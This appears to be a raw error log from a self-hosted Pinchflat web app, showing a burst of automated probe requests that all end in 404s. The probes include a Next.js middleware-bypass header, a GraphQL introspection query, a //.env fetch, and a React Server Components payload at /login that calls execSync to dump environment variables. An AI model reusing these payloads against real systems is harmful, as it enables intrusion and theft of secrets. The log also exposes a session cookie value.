#PID<0.29458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sppcy67bmslrlq9jtwy3", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33128}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29459.0>, params: %{}, path_info: ["sppcy67bmslrlq9jtwy3"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/sppcy67bmslrlq9jtwy3", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61IjaZJd2nbQABvQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sppcy67bmslrlq9jtwy3", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33128}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sppcy67bmslrlq9jtwy3 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29458.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sppcy67bmslrlq9jtwy3", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33128}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", (truncated) 16:49:02.717 [info] POST /graphql 16:49:02.717 [debug] QUERY OK source="settings" db=0.1ms idle=286.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.717 [debug] QUERY OK source="settings" db=0.0ms idle=287.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.717 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.717 [error] #PID<0.29461.0> running PinchflatWeb.Endpoint (connection #PID<0.29460.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /graphql ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33132}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "content-length" => "86", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "origin" => "https://pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 86, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "query" => "{ __schema { types { name fields { name args { name defaultValue } } } } }" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29461.0>, params: %{ "query" => "{ __schema { types { name fields { name args { name defaultValue } } } } }" }, path_info: ["graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "en-US,en;q=0.9"}, {"content-length", "86"}, {"content-type", "application/json"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"origin", "https://pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net"}, {"sec-ch-ua", "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "empty"}, {"sec-fetch-mode", "cors"}, {"sec-fetch-site", "same-origin"}, {"user-agent", "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61JRx7CRZYSkABvQh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29460.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33132}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "en-US,en;q=0.9", "content-length" => "86", "content-type" => "application/json", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "origin" => "https://pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net", "sec-ch-ua" => "\"Chromium\";v=\"153\", \"Google Chrome\";v=\"153\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "empty", "sec-fetch-mode" => "cors", "sec-fetch-site" => "same-origin", "user-agent" => "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Mobile Safari/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 86, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29460.0>, (truncated) 16:49:02.805 [info] POST /login 16:49:02.805 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 16:49:02.806 [debug] QUERY OK source="settings" db=0.1ms idle=374.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.806 [debug] QUERY OK source="settings" db=0.0ms idle=283.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.806 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.806 [error] #PID<0.29463.0> running PinchflatWeb.Endpoint (connection #PID<0.29462.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: POST /login ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29462.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33142}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "POST", owner: #PID<0.29463.0>, params: %{ "0" => "{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('env 2>/dev/null || cat /proc/self/environ 2>/dev/null');\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}", "1" => "\"$@0\"" }, path_info: ["login"], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"content-length", "455"}, {"content-type", "multipart/form-data; boundary=----r2s1f7691ajoq2mg"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"next-action", "r2s"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/login", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61Jm531mng0UABvRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29462.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33142}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "content-length" => "455", "content-type" => "multipart/form-data; boundary=----r2s1f7691ajoq2mg", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "next-action" => "r2s", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-real-ip" => "34.7.214.207" }, method: "POST", body_length: 455, path_info: :undefined, qs: "", streamid: 1, has_body: true, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29462.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33142}, bindings: %{}, (truncated) 16:49:02.809 [info] GET //.env 16:49:02.809 [debug] QUERY OK source="settings" db=0.0ms idle=286.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.809 [debug] QUERY OK source="settings" db=0.0ms idle=91.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:02.809 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:02.809 [error] #PID<0.29465.0> running PinchflatWeb.Endpoint (connection #PID<0.29464.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET //.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29464.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "//.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33146}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29465.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; GPTBot/1.4; +https://openai.com/gptbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "//.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61JnuxtNUpf4ABvRh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, 